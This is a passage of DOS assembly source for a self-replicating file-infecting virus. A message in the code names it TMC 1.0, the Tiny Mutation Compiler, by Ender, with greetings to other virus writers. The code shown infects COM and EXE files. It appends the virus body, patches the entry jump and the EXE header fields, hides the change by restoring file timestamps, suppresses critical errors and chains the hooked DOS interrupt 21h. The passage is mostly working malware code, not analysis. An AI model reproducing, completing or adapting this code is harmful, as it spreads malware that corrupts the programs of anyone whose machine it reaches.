             mov     si,1234h            ; SI = offset of initial_ip_

             db      11101101b           ; Data reference
             dw      138bh               ; Pointer to initial IP
             db      04h                 ; Four bytes instruction

             mov     [si],100h           ; Store initial IP

             db      03h                 ; Three bytes instruction

             mov     si,1234h            ; SI = offset of initial_sp_

             db      11101101b           ; Data reference
             dw      138ch               ; Pointer to initial_sp_
             db      04h                 ; Four bytes instruction

             mov     [si],0fffeh         ; Store initial SP

             db      03h                 ; Three bytes instruction

             mov     si,1234h            ; SI = offset of mcb_size__

             db      11101101b           ; Data reference
             dw      1395h               ; Pointer to mcb_size__
             db      04h                 ; Four bytes instruction

             mov     [si],0ffffh         ; Store size of memory block in pa...

             db      03h                 ; Three bytes instruction

             mov     si,1234h            ; SI = offset of new_mcb_siz

             db      11101101b           ; Data reference
             dw      1393h               ; Pointer to new_mcb_siz
             db      04h                 ; Four bytes instruction

             mov     [si],1000h          ; Store new size in paragraphs

             db      02h                 ; Two bytes instruction

             mov     al,00h              ; COM executable

             db      03h                 ; Three bytes instruction

             mov     ds:[1234h],al       ; Store executable status

             db      11101101b           ; Data reference
             dw      1388h               ; Pointer to executa_sta
             db      03h                 ; Three bytes instruction

             mov     ax,4202h            ; Set current file position (EOF)

             db      02h                 ; Two bytes instruction

             xor     cx,cx               ; CX = high-order word of offset f...

             db      02h                 ; Two bytes instruction

             xor     dx,dx               ; DX = low-order word of offset f...

             db      02h                 ; Two bytes instruction

             int     21h

             db      01110010b+10000000b ; Error? Jump to close_file
             dw      0fah                ; Pointer to close_file
             db      03h                 ; Three bytes instruction

             cmp     ax,0e000h           ; Filesize too large?

             db      01110111b+10000000b ; Above? Jump to close_file
             dw      0fah                ; Pointer to close_file
             db      01h                 ; One byte instruction

             push    ax                  ; Save AX at stack

             db      03h                 ; Three bytes instruction

             add     ax,100h             ; AX = delta offset

             db      03h                 ; Three bytes instruction

             mov     ds:[01h],ax         ; Store delta offset

             db      02h                 ; Two bytes instruction

             mov     ah,40h              ; Write to file

             db      02h                 ; Two bytes instruction

             xor     dx,dx               ; Zero DX

             db      03h                 ; Three bytes instruction

             mov     cx,1234h            ; CX = length of virus

             db      11101101b           ; Data reference
             dw      66h                 ; Pointer to virus_end
             db      02h                 ; Two bytes instruction

             int     21h

             db      01h                 ; One byte instruction

             pop     ax                  ; Load AX from stack

             db      01110010b+10000000b ; Error? Jump to close_file
             dw      0fah                ; Pointer to close_file
             db      01h                 ; One byte instruction

             push    ax                  ; Save AX at stack

             db      03h                 ; Three bytes instruction

             mov     ax,4200h            ; Set current file position (SOF)

             db      02h                 ; Two bytes instruction

             xor     cx,cx               ; CX = high-order word of offset f...

             db      02h                 ; Two bytes instruction

             xor     dx,dx               ; DX = low-order word of offset fr...

             db      02h                 ; Two bytes instruction

             int     21h

             db      01h                 ; One byte instruction

             pop     ax                  ; Load AX from stack

             db      01110010b+10000000b ; Error? Jump to close_file
             dw      0fah                ; Pointer to close_file
             db      03h                 ; Three bytes instruction

             mov     di,1234h            ; DI = offset of origin_code_

             db      11101101b           ; Data reference
             dw      1f40h               ; Pointer to origin_code_
             db      02h                 ; Two bytes instruction

             mov     dx,di               ; DX = offset of origin_code_

             db      03h                 ; Three bytes instruction

             mov     byte ptr [di],11101001b

             db      03h                 ; Three bytes instruction

             sub     ax,03h              ; AX = offset of virus within infe...

             db      03h                 ; Three bytes instruction

             mov     [di+01h],ax         ; Store offset of virus within inf...

             db      03h                 ; Three bytes instruction

             mov     cx,03h              ; Write three bytes

             db      02h                 ; Two bytes instruction

             mov     ah,40h              ; Write to file

             db      02h                 ; Two bytes instruction

             int     21h

             db      01110010b+10000000b ; Error? Jump to close_file
             dw      0fah                ; Pointer to close_file
             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      138eh               ; Pointer to set_file_inf
             db      11101111b           ; End of block
set_file_inf db      11101110b           ; Beginning of block
             dw      138eh               ; Block identification of set_file...
             db      03h                 ; Three bytes instruction

             mov     ax,5701h            ; Set file's date and time

             db      04h                 ; Four bytes instruction

             mov     cx,ds:[1234h]       ; CX = new time

             db      11101101b           ; Data reference
             dw      12ch                ; Pointer to file_time
             db      04h                 ; Four bytes instruction

             mov     dx,ds:[1234h]       ; DX = new date

             db      11101101b           ; Data reference
             dw      12dh                ; Pointer to file_date
             db      02h                 ; Two bytes instruction

             int     21h

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0fah                ; Block identification of close_file
             db      11101111b           ; End of block
close_file   db      11101110b           ; Beginning of block
             dw      0fah                ; Block identification of close_file
             db      02h                 ; Two bytes instruction

             mov     ah,3eh              ; Close file

             db      02h                 ; Two bytes instruction

             int     21h

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      1771h               ; Pointer to int24_store
             db      11101111b           ; End of block
int24_store  db      11101110b           ; Beginning of block
             dw      1771h               ; Block identification of int24_store
             db      01h                 ; One byte instruction

             pop     dx                  ; Load DX from stack

             db      01h                 ; One byte instruction

             pop     ds                  ; Load DS from stack

             db      03h                 ; Three bytes instruction

             mov     ax,2524h            ; Set interrupt vector 21h

             db      02h                 ; Two bytes instruction

             int     21h

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0fbh                ; Pointer to int21_exit
             db      11101111b           ; End of block
int21_exit   db      11101110b           ; Beginning of block
             dw      0fbh                ; Block identification of int21_exit
             db      01h                 ; One byte instruction

             pop     es                  ; Load ES from stack

             db      01h                 ; One byte instruction

             pop     ds                  ; Load DS from stack

             db      01h                 ; One byte instruction

             pop     di                  ; Load DI from stack

             db      01h                 ; One byte instruction

             pop     si                  ; Load SI from stack

             db      01h                 ; One byte instruction

             pop     dx                  ; Load DX from stack

             db      01h                 ; One byte instruction

             pop     cx                  ; Load CX from stack

             db      01h                 ; One byte instruction

             pop     bx                  ; Load BX from stack

             db      01h                 ; One byte instruction

             pop     ax                  ; Load aX from stack

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0c9h                ; Pointer to int21_jump
             db      11101111b           ; End of block
int21_jump   db      11101110b           ; Beginning of block
             dw      0c9h                ; Block identification of int21_jump
             db      05h+10h             ; Five bytes data
             db      11101010b           ; JMP imm32 (opcode 0eah)
             dd      00h                 ; address of interrupt 21h
             db      11101111b           ; End of block
infect_exe   db      11101110b           ; Beginning of block
             dw      138dh               ; Block identification of infect_exe
             db      02h                 ; Two bytes instruction

             mov     al,01h              ; EXE executable

             db      03h                 ; Three bytes instruction

             mov     ds:[1234h],al       ; Store executable status

             db      11101101b           ; Data reference
             dw      1388h               ; Pointer to executa_sta
             db      03h                 ; Three bytes instruction

             mov     ax,4200h            ; Set current file position (SOF)

             db      02h                 ; Two bytes instruction

             xor     cx,cx               ; CX = high-order word of offset f...

             db      02h                 ; Two bytes instruction

             xor     dx,dx               ; CX = low-order word of offset fi...

             db      02h                 ; Two bytes instruction

             int     21h

             db      01110010b+10000000b ; Error? Jump to close_file
             dw      0fah                ; Pointer to close_file
             db      02h                 ; Two bytes instruction

             mov     ah,3fh              ; Read from file

             db      03h                 ; Three bytes instruction

             mov     cx,18h              ; Read twenty-four bytes

             db      03h                 ; Three bytes instruction

             mov     dx,1234h            ; DX = offset of exe_header

             db      11101101b           ; Data reference
             dw      138fh               ; Pointer to exe_header
             db      02h                 ; Two bytes instruction

             int     21h

             db      01110010b+10000000b ; Error? Jump to close_file
             dw      0fah                ; Pointer to close_file
             db      03h                 ; Three bytes instruction

             mov     si,1234h            ; SI = offset of exe_header

             db      11101101b           ; Data reference
             dw      138fh               ; Pointer to exe_header
             db      02h                 ; Two bytes instruction

             xor     ax,ax               ; Zero AX

             db      04h                 ; Four bytes instruction

             cmp     [si+0ch],0ffffh     ; Maximum paragraphs to allocate ...?

             db      01110100b+10000000b ; Equal? Jump to maximum_mem
             dw      1399h               ; Pointer to maximum_mem
             db      03h                 ; Three bytes instruction

             mov     ax,[si+04h]         ; AX = total number of 512-byte pa...
 
             db      01h                 ; One byte instruction

             inc     ax                  ; Increase total number of 512-byt...

             db      02h                 ; Two bytes instruction

             mov     cl,05h              ; Divide by thirty-two

             db      02h                 ; Two bytes instruction

             shl     ax,cl               ; AX = total number of 512-byte pa...

             db      03h                 ; Three bytes instruction

             sub     ax,[si+08h]         ; Subtract header size in paragrap...

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      1399h               ; Pointer to maximum_mem
             db      11101111b           ; End of block
maximum_mem  db      11101110b           ; Beginning of block
             dw      1399h               ; Block identification of maximum_mem
             db      03h                 ; Three bytes instruction

             add     ax,[si+0ch]         ; Add maximum paragraphs to alloca...

             db      03h                 ; Three bytes instruction

             mov     ds:[1234h],ax       ; Store size of memory block in pa...

             db      11101101b           ; Data reference
             dw      1395h               ; Pointer to mcb_size__
             db      03h                 ; Three bytes instruction

             mov     ax,[si+0eh]         ; AX = initial SS relative to star...

             db      03h                 ; Three bytes instruction

             mov     ds:[1234h],ax       ; Store initial SS relative to sta...

             db      11101101b           ; Data reference
             dw      138ah               ; Pointer to initial_ss_
             db      03h                 ; Three bytes instruction

             mov     ax,[si+10h]         ; AX = initial SP

             db      03h                 ; Three bytes instruction

             mov     ds:[1234h],ax       ; Store initial SP

             db      11101101b           ; Data reference
             dw      138ch               ; Pointer to initial_sp_
             db      03h                 ; Three bytes instruction

             mov     ax,[si+14h]         ; AX = initial IP

             db      03h                 ; Three bytes instruction

             mov     ds:[1234h],ax       ; Store initial IP

             db      11101101b           ; Data reference
             dw      138bh               ; Pointer to initial_ip_
             db      03h                 ; Three bytes instruction

             mov     ax,[si+16h]         ; AX = initial CS relative to star...

             db      03h                 ; Three bytes instruction

             mov     ds:[1234h],ax       ; Store initial CS relative to sta...

             db      11101101b           ; Data reference
             dw      1389h               ; Pointer to initial_cs_
             db      03h                 ; Three bytes instruction

             mov     ax,14h              ; AX = probability of storing inco...

             db      04h                 ; Four bytes instruction

             cmp     ds:[1234h],ax       ; Store incorrect IP?

             db      11101101b           ; Data reference
             dw      0bech               ; Pointer to probability_
             db      01110111b+10000000b ; Above? Jump to set_file_pos
             dw      1775h               ; Pointer to set_file_pos
             db      01h                 ; One byte instruction

             push    bp                  ; Save BP at stack

             db      01h                 ; One byte instruction

             push    ds                  ; Save DS at stack

             db      01h                 ; One byte instruction

             pop     es                  ; Load ES from stack (DS)

             db      03h                 ; Three bytes instruction

             mov     bp,40h              ; Random number within sixty-four

             db      11101000b           ; CALL imm16 (opcode 0e8h)
             dw      0bd5h               ; Pointer to rnd_in_rang
             db      01h                 ; One byte instruction

             pop     bp                  ; Load BP from stack

             db      03h                 ; Three bytes instruction

             add     ax,[si+14h]         ; Add initial IP to random number ...

             db      03h                 ; Three bytes instruction

             mov     ds:[1234h],ax       ; Store incorrect IP

             db      11101101b           ; Data reference
             dw      1773h               ; Pointer to incorrec_ip
             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      1775h               ; Pointer to set_file_pos
             db      11101111b           ; End of block
set_file_pos db      11101110b           ; Beginning of block
             dw      1775h               ; Block identification of set_file...
             db      03h                 ; Three bytes instruction

             mov     ax,4202h            ; Set current file position (EOF)

             db      02h                 ; Two bytes instruction

             xor     cx,cx               ; CX = high-order word of offset f...

             db      02h                 ; Two bytes instruction

             xor     dx,dx               ; DX = high-order word of offset f...

             db      02h                 ; Two bytes instruction

             int     21h

             db      01110010b+10000000b ; Error? Jump to close_file
             dw      0fah                ; Pointer to close_file
             db      03h                 ; Three bytes instruction

             cmp     dx,06h              ; Filesize too large?

             db      01110111b+10000000b ; Above? Jump to write_virus
             dw      0fah                ; Pointer to close_file
             db      01h                 ; One byte instruction

             push    ax                  ; Save AX at stack

             db      01h                 ; One byte instruction

             push    dx                  ; Save DX at stack

             db      03h                 ; Three bytes instruction

             mov     cx,200h             ; Divide by pages

             db      02h                 ; Two bytes instruction

             div     cx                  ; DX:AX = filesize in pages

             db      01h                 ; One byte instruction

             inc     ax                  ; Increase total number of 512-byt...

             db      03h                 ; Three bytes instruction

             cmp     [si+04h],ax         ; Internal overlay?

             db      01h                 ; One byte instruction

             pop     dx                  ; Load DX from stack

             db      01h                 ; One byte instruction

             pop     ax                  ; Load AX from stack

             db      01110101b+10000000b ; Not equal? Jump to close_file
             dw      0fah                ; Pointer to close_file
             db      01h                 ; One byte instruction

             push    ax                  ; Save AX at stack

             db      01h                 ; One byte instruction

             push    dx                  ; Save DX at stack

             db      05h                 ; Five bytes instruction

             mov     [si+0ch],0ffffh     ; Store maximum paragraphs to allo...

             db      05h                 ; Five bytes instruction

             mov     [si+10h],7ffeh      ; Store initial SP

             db      05h                 ; Five bytes instruction

             mov     word ptr [si+14h],00h
             
             db      03h                 ; Three bytes instruction

             mov     cx,10h              ; Divide by paragraphs

             db      02h                 ; Two bytes instruction

             div     cx                  ; DX:AX = filesize in paragraphs

             db      03h                 ; Three bytes instruction

             sub     ax,[si+08h]         ; Subtract header size in paragrap...

             db      01h                 ; One byte instruction

             inc     ax                  ; Increase initial CS/SS relative ...

             db      03h                 ; Three bytes instruction

             mov     [si+0eh],ax         ; Store initial SS relative to sta...

             db      03h                 ; Three bytes instruction

             mov     [si+16h],ax         ; Store initial CS relative to sta...

             db      03h                 ; Three bytes instruction

             mov     ax,[si+04h]         ; AX = total number of 512-byte pa...

             db      01h                 ; One byte instruction

             inc     ax                  ; Increase total number of 512-byt...

             db      02h                 ; Two bytes instruction

             mov     cl,05h              ; Divide by thirty-two

             db      02h                 ; Two bytes instruction

             shl     ax,cl               ; AX = total number of 512-byte pa...

             db      03h                 ; Three bytes instruction

             sub     ax,[si+08h]         ; Subtract header size in paragrap...

             db      03h                 ; Three bytes instruction

             add     ax,[si+0ah]         ; Add maximum paragraphs to alloca...

             db      02h                 ; Two bytes instruction

             mov     di,ax               ; DI = minimum paragraphs to alloc...

             db      01h                 ; One byte instruction

             pop     cx                  ; Load CX from stack (DX)

             db      01h                 ; One byte instruction

             pop     dx                  ; Load DX from stack (AX)

             db      03h                 ; Three bytes instruction

             and     dx,1111111111110000b

             db      03h                 ; Three bytes instruction

             add     dx,10h              ; DX = low-order word of offset fr...

             db      03h                 ; Three bytes instruction

             adc     cx,00h              ; CX = high-order word of offset f...

             db      03h                 ; Three bytes instruction

             mov     ax,4200h            ; Set current file position (SOF)

             db      02h                 ; Two bytes instruction

             int     21h

             db      01110010b+10000000b ; Error? Jump to close_file
             dw      0fah                ; Pointer to close_file
             db      03h                 ; Three bytes instruction

             add     ax,1234h            ; AX = length of virus

             db      11101101b           ; Data reference
             dw      66h                 ; Pointer to virus_end
             db      03h                 ; Three bytes instruction

             adc     dx,00h              ; Convert to 32-bit

             db      03h                 ; Three bytes instruction

             mov     cx,200h             ; Divide by pages

             db      02h                 ; Two bytes instruction

             div     cx                  ; DX:AX = filesize in pages

             db      03h                 ; Three bytes instruction

             mov     [si+02h],dx         ; Store number of bytes in last 51...

             db      01h                 ; One byte instruction

             inc     ax                  ; Increase total number of 512-byt...

             db      03h                 ; Three bytes instruction

             mov     [si+04h],ax         ; Store total number of 512-byte p...

             db      05h                 ; Five bytes instruction

             mov     [si+0ah],800h       ; Store minimum paragraphs of memo...

             db      01h                 ; One byte instruction

             inc     ax                  ; Store total number of 512-byte p...

             db      02h                 ; Two bytes instruction

             mov     cl,05h              ; Divide by thirty-two

             db      02h                 ; Two bytes instruction

             shl     ax,cl               ; AX = total number of 512-byte pa...

             db      03h                 ; Three bytes instruction

             sub     ax,[si+08h]         ; Subtract header size in paragrap...

             db      03h                 ; Three bytes instruction

             add     ax,[si+0ah]         ; Add maximum paragraphs to alloca...

             db      03h                 ; Three bytes instruction

             mov     ds:[1234h],ax       ; Store new size in paragraphs

             db      11101101b           ; Data reference
             dw      1393h               ; Pointer to new_mcb_siz
             db      02h                 ; Two bytes instruction

             sub     di,ax               ; DI = additional minimum paragrap...

             db      01110110b+10000000b ; Below or equal? Jump to dont_add...
             dw      1396h               ; Pointer to dont_add_mem
             db      03h                 ; Three bytes instruction

             add     [si+0ah],di         ; Add additional minimum paragraph...

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      1396h               ; Pointer to dont_add_mem
             db      11101111b           ; End of block
dont_add_mem db      11101110b           ; Beginning of block
             dw      1396h               ; Block identification of dont_add...
             db      06h                 ; Six bytes instruction

             mov     word ptr ds:[01h],00h

             db      02h                 ; Two bytes instruction

             mov     ah,40h              ; Write to file

             db      02h                 ; Two bytes instruction

             xor     dx,dx               ; Zero DX

             db      03h                 ; Three bytes instruction

             mov     cx,1234h            ; CX = length of virus

             db      11101101b           ; Data reference
             dw      66h                 ; Pointer to virus_end
             db      02h                 ; Two bytes instruction

             int     21h

             db      01110010b+10000000b ; Error? Jump to close_file
             dw      0fah                ; Pointer to close_file
             db      02h                 ; Two bytes instruction

             xor     cx,cx               ; CX = high-order word of offset f...

             db      02h                 ; Two bytes instruction

             xor     dx,dx               ; DX = low-order word of offset f...

             db      03h                 ; Three bytes instruction

             mov     ax,4200h            ; Set current file position (SOF)

             db      02h                 ; Two bytes instruction

             int     21h

             db      01110010b+10000000b ; Error? Jump to close_file
             dw      0fah                ; Pointer to close_file
             db      02h                 ; Two bytes instruction

             mov     ah,40h              ; Write to file

             db      02h                 ; Two bytes instruction

             mov     dx,si               ; DX = offset of exe_header

             db      03h                 ; Three bytes instruction

             mov     cx,18h              ; Write twenty-four bytes

             db      02h                 ; Two bytes instruction

             int     21h

             db      01110010b+10000000b ; Error? Jump to close_file
             dw      0fah                ; Pointer to close_file
             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      138eh               ; Pointer to set_file_inf
             db      11101111b           ; End of block
int24_virus  db      11101110b           ; Beginning of block
             dw      1770h               ; Block identification of int24_virus
             db      02h                 ; Two bytes instruction

             mov     al,03h              ; Fail system call in progress

             db      01h                 ; One byte instruction

             iret                        ; Interrupt return

             db      11101111b           ; End of block
exe_header   db      11101110b           ; Beginning of block
             dw      138fh               ; Block identification of exe_header
             db      18h+10h             ; Twenty-four bytes data
             db      18h dup(00h)        ; EXE header
             db      11101111b           ; End of block
file_time    db      11101110b           ; Beginning of block
             dw      12ch                ; Block identification of file_time
             db      02h+10h             ; Two bytes data
             dw      00h                 ; File time
             db      11101111b           ; End of block
file_date    db      11101110b           ; Beginning of block
             dw      12dh                ; Block identification of file_date
             db      02h+10h             ; Two bytes data
             dw      00h                 ; File date
             db      11101111b           ; End of block
message      db      11101110b           ; Beginning of block
             dw      2328h               ; Block identification of message
             db      (message_end-messag_begin)+10h
messag_begin db      0dh,0ah
             db      0dh,0ah
             db      'þ TMC 1.0 by Ender from Slovakia þ',0dh,0ah
             db      'Welcome to the Tiny Mutation Compiler!',0dh,0ah
             db      'Dis is level 42.',0dh,0ah
             db      'Greetings to virus makers: Dark Avenger, Vyvojar, Hell Angel',0dh,0ah
             db      'Personal greetings: K. K., Dark Punisher',0dh,0ah
             db      0dh,0ah
message_end:
             db      11101111b           ; End of block
             db      00h                 ; End of table
code_end:
table_end:

end          code_begin